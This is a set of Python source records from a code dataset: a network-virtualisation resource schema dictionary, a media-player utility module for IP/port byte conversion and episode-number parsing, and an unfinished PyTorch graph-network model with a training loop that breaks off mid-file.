+{"seq_id":"630030600","text":"res_identifier = {u'access-control-list': {'class-name': u'AccessControlList',\n                          'name': u'access-control-list',\n                          'parent': [u'virtual-network', u'security-group'],\n                          'property': {u'access-control-list-entries': {'type': u'AclEntriesType'},\n                                       u'display-name': {'type': u'xsd:string'},\n                                       u'id-perms': {'type': u'IdPermsType'}},\n                          'reference': {}},\n u'analytics-node': {'class-name': u'AnalyticsNode',\n                     'name': u'analytics-node',\n                     'parent': [u'global-system-config'],\n                     'property': {u'analytics-node-ip-address': {'type': u'IpAddressType'},\n                                  u'display-name': {'type': u'xsd:string'},\n                                  u'id-perms': {'type': u'IdPermsType'}},\n                     'reference': {}},\n 'bgp-router': {'class-name': 'BgpRouter',\n                'name': 'bgp-router',\n                'parent': None,\n                'property': {u'display-name': {'type': u'xsd:string'},\n                             u'id-perms': {'type': u'IdPermsType'}},\n                'reference': {}},\n u'config-node': {'class-name': u'ConfigNode',\n                  'name': u'config-node',\n                  'parent': [u'global-system-config'],\n                  'property': {u'config-node-ip-address': {'type': u'IpAddressType'},\n                               u'display-name': {'type': u'xsd:string'},\n                               u'id-perms': {'type': u'IdPermsType'}},\n                  'reference': {}},\n u'config-root': {'class-name': u'ConfigRoot',\n                  'name': u'config-root',\n                  'parent': None,\n                  'property': {u'api-access-list': {'type': u'ApiAccessListType'},\n                               u'display-name': {'type': u'xsd:string'},\n                               u'id-perms': {'type': u'IdPermsType'}},\n                  'reference': {}},\n 'customer-attachment': {'class-name': 'CustomerAttachment',\n                         'name': 'customer-attachment',\n                         'parent': None,\n                         'property': {u'display-name': {'type': u'xsd:string'},\n                                      u'id-perms': {'type': u'IdPermsType'}},\n                         'reference': {u'floating-ip': {'attr': None},\n                                       'virtual-machine-interface': {'attr': None}}},\n u'database-node': {'class-name': u'DatabaseNode',\n                    'name': u'database-node',\n                    'parent': [u'global-system-config'],\n                    'property': {u'database-node-ip-address': {'type': u'IpAddressType'},\n                                 u'display-name': {'type': u'xsd:string'},\n                                 u'id-perms': {'type': u'IdPermsType'}},\n                    'reference': {}},\n u'domain': {'class-name': u'Domain',\n             'name': u'domain',\n             'parent': [u'config-root'],\n             'property': {u'api-access-list': {'type': u'ApiAccessListType'},\n                          u'display-name': {'type': u'xsd:string'},\n                          u'domain-limits': {'type': u'DomainLimitsType'},\n                          u'id-perms': {'type': u'IdPermsType'}},\n             'reference': {}},\n u'floating-ip': {'class-name': u'FloatingIp',\n                  'name': u'floating-ip',\n                  'parent': [u'floating-ip-pool'],\n                  'property': {u'display-name': {'type': u'xsd:string'},\n                               u'floating-ip-address': {'type': u'IpAddressType'},\n                               u'floating-ip-address-family': {'type': u'IpAddressFamilyType'},\n                               u'floating-ip-fixed-ip-address': {'type': u'IpAddressType'},\n                               u'floating-ip-is-virtual-ip': {'type': u'xsd:boolean'},\n                               u'id-perms': {'type': u'IdPermsType'}},\n                  'reference': {u'project': {'attr': None},\n                                'virtual-machine-interface': {'attr': None}}},\n u'floating-ip-pool': {'class-name': u'FloatingIpPool',\n                       'name': u'floating-ip-pool',\n                       'parent': [u'virtual-network'],\n                       'property': {u'display-name': {'type': u'xsd:string'},\n                                    u'floating-ip-pool-prefixes': {'type': u'FloatingIpPoolType'},\n                                    u'id-perms': {'type': u'IdPermsType'}},\n                       'reference': {}},\n u'global-system-config': {'class-name': u'GlobalSystemConfig',\n                           'name': u'global-system-config',\n                           'parent': [u'config-root'],\n                           'property': {u'autonomous-system': {'type': u'AutonomousSystemType'},\n                                        u'config-version': {'type': u'xsd:string'},\n                                        u'display-name': {'type': u'xsd:string'},\n                                        u'ibgp-auto-mesh': {'type': u'xsd:boolean'},\n                                        u'id-perms': {'type': u'IdPermsType'},\n                                        u'ip-fabric-subnets': {'type': u'SubnetListType'},\n                                        u'plugin-tuning': {'type': u'PluginProperties'}},\n                           'reference': {'bgp-router': {'attr': None}}},\n u'global-vrouter-config': {'class-name': u'GlobalVrouterConfig',\n                            'name': u'global-vrouter-config',\n                            'parent': [u'global-system-config'],\n                            'property': {u'display-name': {'type': u'xsd:string'},\n                                         u'encapsulation-priorities': {'type': u'EncapsulationPrioritiesType'},\n                                         u'forwarding-mode': {'type': u'ForwardingModeType'},\n                                         u'id-perms': {'type': u'IdPermsType'},\n                                         u'linklocal-services': {'type': u'LinklocalServicesTypes'},\n                                         u'vxlan-network-identifier-mode': {'type': u'VxlanNetworkIdentifierModeType'}},\n                            'reference': {}},\n u'instance-ip': {'class-name': u'InstanceIp',\n                  'name': u'instance-ip',\n                  'parent': None,\n                  'property': {u'display-name': {'type': u'xsd:string'},\n                               u'id-perms': {'type': u'IdPermsType'},\n                               u'instance-ip-address': {'type': u'IpAddressType'},\n                               u'instance-ip-family': {'type': u'IpAddressFamilyType'},\n                               u'instance-ip-mode': {'type': u'AddressMode'},\n                               u'instance-ip-secondary': {'type': u'xsd:boolean'},\n                               u'subnet-uuid': {'type': u'xsd:string'}},\n                  'reference': {'physical-router': {'attr': None},\n                                'virtual-machine-interface': {'attr': None},\n                                u'virtual-network': {'attr': None}}},\n u'interface-route-table': {'class-name': u'InterfaceRouteTable',\n                            'name': u'interface-route-table',\n                            'parent': [u'project'],\n                            'property': {u'display-name': {'type': u'xsd:string'},\n                                         u'id-perms': {'type': u'IdPermsType'},\n                                         u'interface-route-table-routes': {'type': u'RouteTableType'}},\n                            'reference': {}},\n 'loadbalancer': {'class-name': 'Loadbalancer',\n                  'name': 'loadbalancer',\n                  'parent': [u'project'],\n                  'property': {u'display-name': {'type': u'xsd:string'},\n                               u'id-perms': {'type': u'IdPermsType'},\n                               u'loadbalancer-properties': {'type': u'LoadbalancerType'}},\n                  'reference': {'virtual-machine-interface': {'attr': None}}},\n u'loadbalancer-healthmonitor': {'class-name': u'LoadbalancerHealthmonitor',\n                                 'name': u'loadbalancer-healthmonitor',\n                                 'parent': [u'project'],\n                                 'property': {u'display-name': {'type': u'xsd:string'},\n                                              u'id-perms': {'type': u'IdPermsType'},\n                                              u'loadbalancer-healthmonitor-properties': {'type': u'LoadbalancerHealthmonitorType'}},\n                                 'reference': {}},\n 'loadbalancer-listener': {'class-name': 'LoadbalancerListener',\n                           'name': 'loadbalancer-listener',\n                           'parent': [u'project'],\n                           'property': {u'display-name': {'type': u'xsd:string'},\n                                        u'id-perms': {'type': u'IdPermsType'},\n                                        u'loadbalancer-listener-properties': {'type': u'LoadbalancerListenerType'}},\n                           'reference': {'loadbalancer': {'attr': None}}},\n u'loadbalancer-member': {'class-name': u'LoadbalancerMember',\n                          'name': u'loadbalancer-member',\n                          'parent': [u'loadbalancer-pool'],\n                          'property': {u'display-name': {'type': u'xsd:string'},\n                                       u'id-perms': {'type': u'IdPermsType'},\n                                       u'loadbalancer-member-properties': {'type': u'LoadbalancerMemberType'}},\n                          'reference': {}},\n u'loadbalancer-pool': {'class-name': u'LoadbalancerPool',\n                        'name': u'loadbalancer-pool',\n                        'parent': [u'project'],\n                        'property': {u'display-name': {'type': u'xsd:string'},\n                                     u'id-perms': {'type': u'IdPermsType'},\n                                     u'loadbalancer-pool-custom-attributes': {'type': u'KeyValuePairs'},\n                                     u'loadbalancer-pool-properties': {'type': u'LoadbalancerPoolType'},\n                                     u'loadbalancer-pool-provider': {'type': u'xsd:string'}},\n                        'reference': {u'loadbalancer-healthmonitor': {'attr': None},\n                                      'loadbalancer-listener': {'attr': None},\n                                      u'service-appliance-set': {'attr': None},\n                                      u'service-instance': {'attr': None},\n                                      'virtual-machine-interface': {'attr': None}}},\n u'logical-interface': {'class-name': u'LogicalInterface',\n                        'name': u'logical-interface',\n                        'parent': ['physical-router', u'physical-interface'],\n                        'property': {u'display-name': {'type': u'xsd:string'},\n                                     u'id-perms': {'type': u'IdPermsType'},\n                                     u'logical-interface-type': {'type': u'LogicalInterfaceType'},\n                                     u'logical-interface-vlan-tag': {'type': u'xsd:integer'}},\n                        'reference': {'virtual-machine-interface': {'attr': None}}},\n 'logical-router': {'class-name': 'LogicalRouter',\n                    'name': 'logical-router',\n                    'parent': [u'project'],\n                    'property': {u'configured-route-target-list': {'type': u'RouteTargetList'},\n                                 u'display-name': {'type': u'xsd:string'},\n                                 u'id-perms': {'type': u'IdPermsType'}},\n                    'reference': {'route-target': {'attr': None},\n                                  u'service-instance': {'attr': None},\n                                  'virtual-machine-interface': {'attr': None},\n                                  u'virtual-network': {'attr': None}}},\n u'namespace': {'class-name': u'Namespace',\n                'name': u'namespace',\n                'parent': [u'domain'],\n                'property': {u'display-name': {'type': u'xsd:string'},\n                             u'id-perms': {'type': u'IdPermsType'},\n                             u'namespace-cidr': {'type': u'SubnetType'}},\n                'reference': {}},\n u'network-ipam': {'class-name': u'NetworkIpam',\n                   'name': u'network-ipam',\n                   'parent': [u'project'],\n                   'property': {u'display-name': {'type': u'xsd:string'},\n                                u'id-perms': {'type': u'IdPermsType'},\n                                u'network-ipam-mgmt': {'type': u'IpamType'}},\n                   'reference': {u'virtual-DNS': {'attr': None}}},\n u'network-policy': {'class-name': u'NetworkPolicy',\n                     'name': u'network-policy',\n                     'parent': [u'project'],\n                     'property': {u'display-name': {'type': u'xsd:string'},\n                                  u'id-perms': {'type': u'IdPermsType'},\n                                  u'network-policy-entries': {'type': u'PolicyEntriesType'}},\n                     'reference': {}},\n u'physical-interface': {'class-name': u'PhysicalInterface',\n                         'name': u'physical-interface',\n                         'parent': ['physical-router'],\n                         'property': {u'display-name': {'type': u'xsd:string'},\n                                      u'id-perms': {'type': u'IdPermsType'}},\n                         'reference': {u'physical-interface': {'attr': None}}},\n 'physical-router': {'class-name': 'PhysicalRouter',\n                     'name': 'physical-router',\n                     'parent': [u'global-system-config'],\n                     'property': {u'display-name': {'type': u'xsd:string'},\n                                  u'id-perms': {'type': u'IdPermsType'},\n                                  u'physical-router-dataplane-ip': {'type': u'IpAddress'},\n                                  u'physical-router-junos-service-ports': {'type': u'JunosServicePorts'},\n                                  u'physical-router-management-ip': {'type': u'IpAddress'},\n                                  u'physical-router-product-name': {'type': u'xsd:string'},\n                                  u'physical-router-snmp-credentials': {'type': u'SNMPCredentials'},\n                                  u'physical-router-user-credentials': {'type': u'UserCredentials'},\n                                  u'physical-router-vendor-name': {'type': u'xsd:string'},\n                                  u'physical-router-vnc-managed': {'type': u'xsd:boolean'}},\n                     'reference': {'bgp-router': {'attr': None},\n                                   u'virtual-network': {'attr': None},\n                                   'virtual-router': {'attr': None}}},\n u'project': {'class-name': u'Project',\n              'name': u'project',\n              'parent': [u'domain'],\n              'property': {u'display-name': {'type': u'xsd:string'},\n                           u'id-perms': {'type': u'IdPermsType'},\n                           u'quota': {'type': u'QuotaType'}},\n              'reference': {u'floating-ip-pool': {'attr': None},\n                            u'namespace': {'attr': u'SubnetType'}}},\n 'provider-attachment': {'class-name': 'ProviderAttachment',\n                         'name': 'provider-attachment',\n                         'parent': None,\n                         'property': {u'display-name': {'type': u'xsd:string'},\n                                      u'id-perms': {'type': u'IdPermsType'}},\n                         'reference': {'virtual-router': {'attr': None}}},\n u'qos-forwarding-class': {'class-name': u'QosForwardingClass',\n                           'name': u'qos-forwarding-class',\n                           'parent': [u'project'],\n                           'property': {u'display-name': {'type': u'xsd:string'},\n                                        u'dscp': {'type': u'xsd:integer'},\n                                        u'id-perms': {'type': u'IdPermsType'},\n                                        u'trusted': {'type': u'xsd:boolean'}},\n                           'reference': {u'qos-queue': {'attr': None}}},\n u'qos-queue': {'class-name': u'QosQueue',\n                'name': u'qos-queue',\n                'parent': [u'project'],\n                'property': {u'display-name': {'type': u'xsd:string'},\n                             u'id-perms': {'type': u'IdPermsType'},\n                             u'max-bandwidth': {'type': u'xsd:integer'},\n                             u'min-bandwidth': {'type': u'xsd:integer'}},\n                'reference': {}},\n u'route-table': {'class-name': u'RouteTable',\n                  'name': u'route-table',\n                  'parent': [u'project'],\n                  'property': {u'display-name': {'type': u'xsd:string'},\n                               u'id-perms': {'type': u'IdPermsType'},\n                               u'routes': {'type': u'RouteTableType'}},\n                  'reference': {}},\n 'route-target': {'class-name': 'RouteTarget',\n                  'name': 'route-target',\n                  'parent': None,\n                  'property': {u'display-name': {'type': u'xsd:string'},\n                               u'id-perms': {'type': u'IdPermsType'}},\n                  'reference': {}},\n 'routing-instance': {'class-name': 'RoutingInstance',\n                      'name': 'routing-instance',\n                      'parent': [u'virtual-network'],\n                      'property': {u'display-name': {'type': u'xsd:string'},\n                                   u'id-perms': {'type': u'IdPermsType'}},\n                      'reference': {}},\n u'security-group': {'class-name': u'SecurityGroup',\n                     'name': u'security-group',\n                     'parent': [u'project'],\n                     'property': {u'configured-security-group-id': {'type': u'xsd:integer'},\n                                  u'display-name': {'type': u'xsd:string'},\n                                  u'id-perms': {'type': u'IdPermsType'},\n                                  u'security-group-entries': {'type': u'PolicyEntriesType'},\n                                  u'security-group-id': {'type': u'xsd:string'}},\n                     'reference': {}},\n u'service-appliance': {'class-name': u'ServiceAppliance',\n                        'name': u'service-appliance',\n                        'parent': [u'service-appliance-set'],\n                        'property': {u'display-name': {'type': u'xsd:string'},\n                                     u'id-perms': {'type': u'IdPermsType'},\n                                     u'service-appliance-ip-address': {'type': u'IpAddressType'},\n                                     u'service-appliance-properties': {'type': u'KeyValuePairs'},\n                                     u'service-appliance-user-credentials': {'type': u'UserCredentials'}},\n                        'reference': {u'physical-interface': {'attr': u'ServiceApplianceInterfaceType'}}},\n u'service-appliance-set': {'class-name': u'ServiceApplianceSet',\n                            'name': u'service-appliance-set',\n                            'parent': [u'global-system-config'],\n                            'property': {u'display-name': {'type': u'xsd:string'},\n                                         u'id-perms': {'type': u'IdPermsType'},\n                                         u'service-appliance-driver': {'type': u'xsd:string'},\n                                         u'service-appliance-ha-mode': {'type': u'xsd:string'},\n                                         u'service-appliance-set-properties': {'type': u'KeyValuePairs'}},\n                            'reference': {}},\n u'service-instance': {'class-name': u'ServiceInstance',\n                       'name': u'service-instance',\n                       'parent': [u'project'],\n                       'property': {u'display-name': {'type': u'xsd:string'},\n                                    u'id-perms': {'type': u'IdPermsType'},\n                                    u'service-instance-properties': {'type': u'ServiceInstanceType'}},\n                       'reference': {'service-template': {'attr': None},\n                                     'virtual-machine-interface': {'attr': u'ServiceInstanceVirtualMachineInterfaceType'}}},\n 'service-template': {'class-name': 'ServiceTemplate',\n                      'name': 'service-template',\n                      'parent': [u'domain'],\n                      'property': {u'display-name': {'type': u'xsd:string'},\n                                   u'id-perms': {'type': u'IdPermsType'},\n                                   u'service-template-properties': {'type': u'ServiceTemplateType'}},\n                      'reference': {u'service-appliance-set': {'attr': None}}},\n u'subnet': {'class-name': u'Subnet',\n             'name': u'subnet',\n             'parent': None,\n             'property': {u'display-name': {'type': u'xsd:string'},\n                          u'id-perms': {'type': u'IdPermsType'},\n                          u'subnet-ip-prefix': {'type': u'SubnetType'}},\n             'reference': {'virtual-machine-interface': {'attr': None}}},\n u'virtual-DNS': {'class-name': u'VirtualDns',\n                  'name': u'virtual-DNS',\n                  'parent': [u'domain'],\n                  'property': {u'display-name': {'type': u'xsd:string'},\n                               u'id-perms': {'type': u'IdPermsType'},\n                               u'virtual-DNS-data': {'type': u'VirtualDnsType'}},\n                  'reference': {}},\n u'virtual-DNS-record': {'class-name': u'VirtualDnsRecord',\n                         'name': u'virtual-DNS-record',\n                         'parent': [u'virtual-DNS'],\n                         'property': {u'display-name': {'type': u'xsd:string'},\n                                      u'id-perms': {'type': u'IdPermsType'},\n                                      u'virtual-DNS-record-data': {'type': u'VirtualDnsRecordType'}},\n                         'reference': {}},\n u'virtual-ip': {'class-name': u'VirtualIp',\n                 'name': u'virtual-ip',\n                 'parent': [u'project'],\n                 'property': {u'display-name': {'type': u'xsd:string'},\n                              u'id-perms': {'type': u'IdPermsType'},\n                              u'virtual-ip-properties': {'type': u'VirtualIpType'}},\n                 'reference': {u'loadbalancer-pool': {'attr': None},\n                               'virtual-machine-interface': {'attr': None}}},\n u'virtual-machine': {'class-name': u'VirtualMachine',\n                      'name': u'virtual-machine',\n                      'parent': None,\n                      'property': {u'display-name': {'type': u'xsd:string'},\n                                   u'id-perms': {'type': u'IdPermsType'}},\n                      'reference': {u'service-instance': {'attr': None}}},\n 'virtual-machine-interface': {'class-name': 'VirtualMachineInterface',\n                               'name': 'virtual-machine-interface',\n                               'parent': [u'virtual-machine', u'project'],\n                               'property': {u'display-name': {'type': u'xsd:string'},\n                                            u'id-perms': {'type': u'IdPermsType'},\n                                            u'virtual-machine-interface-allowed-address-pairs': {'type': u'AllowedAddressPairs'},\n                                            u'virtual-machine-interface-device-owner': {'type': u'xsd:string'},\n                                            u'virtual-machine-interface-dhcp-option-list': {'type': u'DhcpOptionsListType'},\n                                            u'virtual-machine-interface-host-routes': {'type': u'RouteTableType'},\n                                            u'virtual-machine-interface-mac-addresses': {'type': u'MacAddressesType'},\n                                            u'virtual-machine-interface-properties': {'type': u'VirtualMachineInterfacePropertiesType'},\n                                            u'vrf-assign-table': {'type': u'VrfAssignTableType'}},\n                               'reference': {u'interface-route-table': {'attr': None},\n                                             u'physical-interface': {'attr': None},\n                                             u'qos-forwarding-class': {'attr': None},\n                                             'routing-instance': {'attr': u'PolicyBasedForwardingRuleType'},\n                                             u'security-group': {'attr': None},\n                                             u'virtual-machine': {'attr': None},\n                                             'virtual-machine-interface': {'attr': None},\n                                             u'virtual-network': {'attr': None}}},\n u'virtual-network': {'class-name': u'VirtualNetwork',\n                      'name': u'virtual-network',\n                      'parent': [u'project'],\n                      'property': {u'display-name': {'type': u'xsd:string'},\n                                   u'external-ipam': {'type': u'xsd:boolean'},\n                                   u'flood-unknown-unicast': {'type': u'xsd:boolean'},\n                                   u'id-perms': {'type': u'IdPermsType'},\n                                   u'is-shared': {'type': u'xsd:boolean'},\n                                   u'route-target-list': {'type': u'RouteTargetList'},\n                                   u'router-external': {'type': u'xsd:boolean'},\n                                   u'virtual-network-network-id': {'type': u'xsd:integer'},\n                                   u'virtual-network-properties': {'type': u'VirtualNetworkType'}},\n                      'reference': {u'network-ipam': {'attr': u'VnSubnetsType'},\n                                    u'network-policy': {'attr': u'VirtualNetworkPolicyType'},\n                                    u'qos-forwarding-class': {'attr': None},\n                                    u'route-table': {'attr': None}}},\n 'virtual-router': {'class-name': 'VirtualRouter',\n                    'name': 'virtual-router',\n                    'parent': [u'global-system-config'],\n                    'property': {u'display-name': {'type': u'xsd:string'},\n                                 u'id-perms': {'type': u'IdPermsType'},\n                                 u'virtual-router-ip-address': {'type': u'IpAddressType'},\n                                 u'virtual-router-type': {'type': u'VirtualRouterType'}},\n                    'reference': {'bgp-router': {'attr': None},\n                                  u'virtual-machine': {'attr': None}}}}\n","sub_path":"res_identifier.py","file_name":"res_identifier.py","file_ext":"py","file_size_in_byte":26831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"327017003","text":"import os\nimport socket\n\nimport re\n\nfrom MediaPlayer.Util import Network\nfrom MediaPlayer.Util.Network import read_ushort\n\n\ndef get_file_info(filename):\n    with open(filename, \"rb\") as f:\n        first = f.read(65536)\n        f.seek(-65536, os.SEEK_END)\n        last = f.read(65536)\n    return os.path.getsize(filename), first, last\n\n\ndef uri_to_bytes(uri):\n    uri_port = uri.split(':')\n    result = socket.inet_aton(uri_port[0]) + bytearray(2)\n    Network.write_ushort(result, int(uri_port[1]), 4)\n    return result\n\n\ndef ip_port_to_bytes(ip, port):\n    result = bytearray(socket.inet_aton(ip)) + bytearray(2)\n    Network.write_ushort(result, port, 4)\n    return result\n\n\ndef ip_port_from_bytes(data):\n    ip = socket.inet_ntop(socket.AF_INET, data[0: 4])\n    offset, port = read_ushort(data, 4)\n    return ip, port\n\n\ndef ip_port_from_bytes_multiple(data):\n    result = []\n    for i in range(int(len(data) / 6)):\n        result.append(ip_port_from_bytes(data[i*6: i*6 + 6]))\n    return result\n\n\ndef uri_from_bytes(data):\n    ip = socket.inet_ntop(socket.AF_INET, data[0: 4])\n    offset, port = read_ushort(data, 4)\n    return 'tcp://' + ip + \":\" + str(port)\n\n\ndef check_bytes_length(byte_data, expected):\n    if byte_data is None or len(byte_data) is not expected:\n        return False\n    return True\n\n\ndef check_minimal_bytes_length(byte_data, minimal):\n    if byte_data is None or len(byte_data) < minimal:\n        return False\n    return True\n\n\ndef try_parse_season_episode(path):\n    path = path.lower()\n    season_number = 0\n    epi_number = 0\n\n    matches = re.findall(\"\\d+[x]\\d+\", path)  # 7x11\n    if len(matches) > 0:\n        match = matches[-1]\n        season_epi = re.split(\"x\", match)\n        if len(season_epi) == 2:\n            season_number = int(season_epi[0])\n            epi_number = int(season_epi[1])\n\n    if season_number == 0:\n        matches = re.findall(\"[s][0]\\d+\", path)  # s01\n        if len(matches) > 0:\n            match = matches[-1]\n            season_number = int(match[1:])\n\n    if season_number == 0:\n        matches = re.findall(\"[s]\\d+\", path)  # s1\n        if len(matches) > 0:\n            match = matches[-1]\n            season_number = int(match[1:])\n\n    if season_number == 0:\n        if \"season\" in path:\n            season_index = path.rfind(\"season\") + 6  # season 1\n            season_number = try_parse_number(path[season_index: season_index + 3])\n\n    if epi_number == 0:\n        matches = re.findall(\"[e][0]\\d+\", path)  # e01\n        if len(matches) > 0:\n            match = matches[-1]\n            epi_number = int(match[1:])\n\n    if epi_number == 0:\n        matches = re.findall(\"[e]\\d+\", path)  # e1\n        if len(matches) > 0:\n            match = matches[-1]\n            epi_number = int(match[1:])\n\n    if epi_number == 0:\n        if \"episode\" in path:\n            epi_index = path.rfind(\"episode\") + 7  # episode 1\n            epi_number = try_parse_number(path[epi_index: epi_index + 3])\n\n    return season_number, epi_number\n\n\ndef try_parse_number(number_string):\n    if number_string.isdigit():\n        return int(number_string)\n\n    if len(number_string) > 1:\n        if number_string[0: 2].isdigit():\n            return int(number_string[0: 2])\n        if number_string[1: 3].isdigit():\n            return int(number_string[1: 3])\n    if number_string[0].isdigit():\n        return int(number_string[0])\n    if number_string[1].isdigit():\n        return int(number_string[1])\n    return 0\n\n\ndef is_media_file(path):\n    if \".\" not in path:\n        return False\n\n    ext = os.path.splitext(path)[1].lower()\n    if ext == \".mp4\" or ext == \".mkv\" or ext == \".avi\":\n        return True\n","sub_path":"src/MediaPlayer/Util/Util.py","file_name":"Util.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"181290765","text":"# making R-GNN Network, please refer to tests/ folder where I have done several \n# experiments with the smaller networks and how different parts of it can be\n# combined to create the final model\n# 26.08.2020 - @yashbonde\n# Trying to code Karpathy style\n\nimport os\nimport time\nimport math\nimport random\nimport logging\nimport platform\nimport subprocess\nimport numpy as np\nfrom tqdm import tqdm\n\nimport torch\nfrom torch import nn\nfrom torch.optim import AdamW\nfrom torch.optim.lr_scheduler import CosineAnnealingLR, OneCycleLR, CosineAnnealingWarmRestarts, MultiStepLR\nfrom torch.nn import functional as F\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport torch\nfrom torch import nn\nfrom torch_scatter.scatter import scatter_max\n\nDEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nclass GraphEncoderBlock(nn.Module):\n    def __init__(self, config):\n        super().__init__()\n\n        # for node_edge <- node + edge_attr\n        self.edge_lin = nn.Sequential(\n            nn.Linear(int(config.edim * 2), config.edim),\n            nn.ReLU()\n        )\n        self.edge_drop = nn.Dropout(config.drop_p)\n\n        # for node_2 <- node + global + node_edge\n        self.node_lin = nn.Sequential(\n            nn.Linear(int(config.edim * 3), int(config.edim * 4)),\n            nn.ReLU(),\n            nn.Linear(int(config.edim * 4), config.edim)\n        )\n        self.node_drop = nn.Dropout(config.drop_p)\n\n        # for global <- node_2 + global\n        self.glob_lin = nn.Sequential(\n            nn.Linear(int(config.edim * 2), config.edim),\n            nn.ReLU()\n        )\n        self.glob_drop = nn.Dropout(config.drop_p)\n\n    def forward(self, x, edge_index, edge_attr, u, batch):\n        row, col = edge_index\n        out = self.edge_lin(torch.cat((x[row], edge_attr), dim = -1))\n        out = self.edge_drop(scatter_max(out, col, dim = 0, dim_size = x.size(0)))\n        out = self.node_drop(self.node_lin(torch.cat((out, x, u), dim = -1)).sigmoid())\n        x = x + out\n\n        x_u = scatter_max(x, batch, dim=0, dim_size=x.size(0))\n        out = self.glob_lin(torch.cat((x_u, u), dim = -1))\n        u = u + out\n\n        return x, edge_index, edge_attr, u, batch\n\nclass GraphTemporalNetwork(nn.Module):\n    \"\"\"\n    This is a very weird network that uses both the graph neural network and\n    LSTM with residual connections\n    \"\"\"\n    def __init__(self, config) -> None:\n        super().__init__()\n        \n    def forward(self, graphs, hidden_state):\n        \"\"\"\n        first perform the embeddings and get three things:\n        1. node embeddings (x_i)\n        2. edge_embeddings (v_ij)\n        3. glob_embeddings (u)\n\n        :param graph: Namespace(\n            \n            edge_index: []\n        )\n        \"\"\"\n        \n\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n# TRAINER ##########################################################################\n\nclass Trainer:\n    def __init__(self, model, train_dataset, test_dataset, config, tokenizer):\n        self.model = model\n        self.train_dataset = train_dataset\n        self.test_dataset = test_dataset\n        self.config = config\n        self.tokenizer = tokenizer\n\n        self.device = \"cpu\"\n        if torch.cuda.is_available():\n            self.device = torch.cuda.current_device()\n            self.model = torch.nn.DataParallel(self.model).to(self.device)\n\n    def save_checkpoint(self):\n        raw_model = self.model.module if hasattr(self.model, \"module\") else self.model\n        print(f\"Saving Model at {self.config.ckpt_path}\")\n        torch.save(raw_model.state_dict(), self.config.ckpt_path)\n\n    def train(self, verbose = False):\n        model, config, tokenizer = self.model, self.config, self.tokenizer\n        optimizer = AdamW(\n            model.parameters(),\n            lr = self.config.lr,\n            betas = self.config.betas\n        )\n#         lrscheduler = CosineAnnealingLR(optimizer, config.num_batch*config.max_epochs)\n#         lrscheduler = CosineAnnealingWarmRestarts(optimizer, config.num_batch * 3, T_mult = 2, eta_min=0)\n        lrscheduler = OneCycleLR(\n            optimizer,\n            max_lr = config.lr,\n            total_steps = config.num_batch*config.max_epochs\n        )\n\n#         lrscheduler = MultiStepLR(optimizer, [25, 75, 175], gamma = 0.5)\n        \n        with SummaryWriter(log_dir=config.tb_path, flush_secs=20) as tb:\n            \n            def run_epoch(split, epoch, _gs = None):\n                is_train = split == \"train\"\n                model.train(is_train)\n                data = self.train_dataset if is_train else self.test_dataset\n                dl = DataLoader(\n                    data,\n                    shuffle = True,\n                    pin_memory = True,\n                    batch_size = config.batch_size,\n                    num_workers = config.num_workers\n                )\n\n                losses = []\n                pbar = tqdm(enumerate(dl))\n                for it, d in pbar:\n                    _l = -1 if not losses else losses[-1]\n                    if is_train:\n                        pbar.set_description(f\"[TRAIN] GS: {_gs}, Epoch: {epoch}, Loss: {round(_l, 5)}\")\n                    else:\n                        pbar.set_description(f\"[VAL] Epoch: {epoch}\")\n\n                    with torch.set_grad_enabled(is_train):\n                        out = model(\n                            input_ids = d[\"input_ids\"],\n                            labels=d[\"input_ids\"],\n                            output_attentions = True,\n                            return_dict = True \n                        )\n                        losses.append(out.loss.item())\n\n                    if is_train:\n                        # add things to tb, loss and attention images\n                        tb.add_scalar(\"loss\", out.loss.item(), global_step=_gs, walltime=time.time())\n                        tb.add_scalar(\"lr\", lrscheduler.get_lr()[0], global_step=_gs, walltime=time.time())\n                        for l, att in enumerate(out.attentions):\n                            tb.add_image(\n                                f\"attention/layer_{l}\", att[0][0],\n                                global_step=gs, walltime=time.time(),\n                                dataformats= \"HW\"\n                            )\n\n                        out.loss.backward()\n                        torch.nn.utils.clip_grad_norm_(model.parameters(), config.grad_norm_clip)\n                        optimizer.step()\n                        \n                        # when using CosineAnnealing\n                        # lrscheduler.step(epoch + it / len(data))\n                        lrscheduler.step()\n                        _gs += 1\n\n                \n                if not is_train:\n                    if epoch % config.sample_every == 0:\n                        with open(config.tb_path + f'/samples_{gs}.txt', \"w\") as f:\n                            samples_st = time.time()\n                            print(\"Creating Samples ... might take some time\", end = \"\")\n                            out = model.generate(\n                                input_ids = d[\"input_ids\"][:30, :30],\n                                max_length = 150,\n                                min_length = 60,\n                                do_sample = True,\n                                early_stopping = True,\n                                num_beams = 20,\n                                temperature = 0.9,\n                                top_k = 10,\n                                top_p = 0.9,\n                                bos_token_id = tokenizer.bos_id(),\n                                pad_token_id = tokenizer.pad_id(),\n                                eos_token_id = tokenizer.eos_id(),\n                            )\n                            delim = \"\\n\" + \"=\"*60 + \"\\n\"\n                            strings = delim.join([tokenizer.decode_ids(x) for x in out.tolist()])\n                            print(f\"... took {time.time() - samples_st:.3}s\")\n                            print(f\"Saving samples at: {config.tb_path + f'/samples_{gs}.txt'}\")\n                            f.write(strings)\n\n                    test_loss = float(np.mean(losses))\n                    return test_loss\n\n                return _gs\n\n            # now write wrapper for each epoch\n            best_loss = float(\"inf\")\n            gs = 1\n            test_no_improve = 0\n            for e in range(config.max_epochs):\n                gs = run_epoch(\"train\", e, gs)\n                if self.test_dataset is not None:\n                    test_loss = run_epoch(\"test\", e)\n                    print(f\"Test loss: {test_loss}\")\n\n                # early stopping based on the test loss of just save always if no test set is provided\n                good_model = self.test_dataset is None or test_loss < best_loss\n                if self.config.ckpt_path is not None and good_model:\n                    best_loss = test_loss\n                    self.save_checkpoint()\n                    test_no_improve = 0\n                else:\n                    test_no_improve += 1\n                \n                if test_no_improve == config.patience:\n                    print(f\"Stop Training after [patience = {config.patience}]: {e} epochs\")\n                    break\n\n\nclass 